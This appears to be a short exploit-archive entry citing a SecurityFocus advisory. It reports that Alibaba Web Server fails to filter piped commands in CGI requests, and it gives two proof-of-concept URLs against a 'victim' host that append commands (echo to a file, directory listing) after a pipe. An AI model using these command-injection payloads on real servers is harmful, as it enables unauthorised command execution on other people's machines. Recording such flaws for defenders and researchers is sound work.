6 lines
No EOL
338 B
Text
6 lines
No EOL
338 B
Text
source: https://www.securityfocus.com/bid/1485/info
|
|
|
|
Alibaba Web Server fails to filter piped commands when executing cgi-scripts. This can be used to execute commands with the privileges of the web server process on a target machine.
|
|
|
|
http://victim/cgi-bin/post32.exe|echo%20>c:\text.txt
|
|
http://victim/cgi-bin/lsindex2.bat|dir%20c:\[dir] |